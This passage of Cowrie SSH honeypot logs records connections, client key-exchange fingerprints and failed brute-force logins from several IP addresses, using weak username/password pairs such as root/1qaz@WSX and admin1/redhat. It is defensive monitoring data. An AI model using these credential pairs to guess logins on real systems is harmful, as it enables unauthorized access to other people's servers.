0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:07.357888Z","src_ip":"91.92.40.171","session":"6de9b2bd95c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:08.039781Z","src_ip":"91.92.40.171","session":"6de9b2bd95c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:09.162406Z","src_ip":"91.92.40.171","session":"6de9b2bd95c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49612,"dst_ip":"159.203.135.109","dst_port":22,"session":"e66b9ab541d0","protocol":"ssh","message":"New connection: 27.71.230.31:49612 (159.203.135.109:22) [session: e66b9ab541d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:10.133278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:10.144595Z","src_ip":"27.71.230.31","session":"e66b9ab541d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.71","src_port":47214,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccafe168784f","protocol":"ssh","message":"New connection: 45.79.207.71:47214 (10.17.0.5:22) [session: ccafe168784f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:10.520732Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:10.778966Z","src_ip":"27.71.230.31","session":"e66b9ab541d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:10.978834Z","src_ip":"45.79.207.71","session":"ccafe168784f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55704,"dst_ip":"159.203.135.109","dst_port":22,"session":"0df53971de7c","protocol":"ssh","message":"New connection: 91.92.42.133:55704 (159.203.135.109:22) [session: 0df53971de7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.029434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.040632Z","src_ip":"91.92.42.133","session":"0df53971de7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.144668Z","src_ip":"91.92.42.133","session":"0df53971de7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51400,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da2fd5faf05","protocol":"ssh","message":"New connection: 91.92.40.171:51400 (159.203.135.109:22) [session: 6da2fd5faf05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.522861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.643984Z","src_ip":"91.92.40.171","session":"6da2fd5faf05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.647054Z","src_ip":"91.92.40.171","session":"6da2fd5faf05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:12.669673Z","src_ip":"91.92.42.133","session":"0df53971de7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:13.256577Z","src_ip":"91.92.40.171","session":"6da2fd5faf05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:13.811235Z","src_ip":"91.92.42.133","session":"0df53971de7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:14.425663Z","src_ip":"91.92.40.171","session":"6da2fd5faf05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin999","message":"login attempt [root/admin999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:15.568263Z","src_ip":"27.71.230.31","session":"e66b9ab541d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:16.829785Z","src_ip":"27.71.230.31","session":"e66b9ab541d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34482,"dst_ip":"159.203.135.109","dst_port":22,"session":"12182809ed75","protocol":"ssh","message":"New connection: 91.92.40.171:34482 (159.203.135.109:22) [session: 12182809ed75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.059414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.215356Z","src_ip":"91.92.40.171","session":"12182809ed75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.218372Z","src_ip":"91.92.40.171","session":"12182809ed75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34584,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92679934519","protocol":"ssh","message":"New connection: 91.92.42.133:34584 (159.203.135.109:22) [session: f92679934519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.463271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.740825Z","src_ip":"91.92.42.133","session":"f92679934519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.748070Z","src_ip":"91.92.42.133","session":"f92679934519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:18.941334Z","src_ip":"91.92.40.171","session":"12182809ed75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:20.062163Z","src_ip":"91.92.40.171","session":"12182809ed75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":40866,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a21859fe44","protocol":"ssh","message":"New connection: 45.140.193.156:40866 (10.17.0.5:22) [session: 23a21859fe44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:20.725812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:20.733120Z","src_ip":"45.140.193.156","session":"23a21859fe44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:20.847295Z","src_ip":"45.140.193.156","session":"23a21859fe44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:20.855447Z","src_ip":"91.92.42.133","session":"f92679934519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"123456","message":"login attempt [prueba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:21.354970Z","src_ip":"45.140.193.156","session":"23a21859fe44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:22.298000Z","src_ip":"91.92.42.133","session":"f92679934519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:22.471259Z","src_ip":"45.140.193.156","session":"23a21859fe44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47004,"dst_ip":"159.203.135.109","dst_port":22,"session":"050ce1d7f53e","protocol":"ssh","message":"New connection: 103.172.78.219:47004 (159.203.135.109:22) [session: 050ce1d7f53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:24.438727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:24.442736Z","src_ip":"103.172.78.219","session":"050ce1d7f53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:24.689580Z","src_ip":"103.172.78.219","session":"050ce1d7f53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34526,"dst_ip":"159.203.135.109","dst_port":22,"session":"2769ceeace91","protocol":"ssh","message":"New connection: 91.92.40.171:34526 (159.203.135.109:22) [session: 2769ceeace91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.173096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.312087Z","src_ip":"91.92.40.171","session":"2769ceeace91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbbb","message":"login attempt [root/bbbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.432773Z","src_ip":"103.172.78.219","session":"050ce1d7f53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45990,"dst_ip":"159.203.135.109","dst_port":22,"session":"2309658f7445","protocol":"ssh","message":"New connection: 91.92.42.133:45990 (159.203.135.109:22) [session: 2309658f7445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.691833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.940478Z","src_ip":"91.92.42.133","session":"2309658f7445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:25.943227Z","src_ip":"91.92.42.133","session":"2309658f7445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:26.682531Z","src_ip":"103.172.78.219","session":"050ce1d7f53e","protocol":"ssh"}
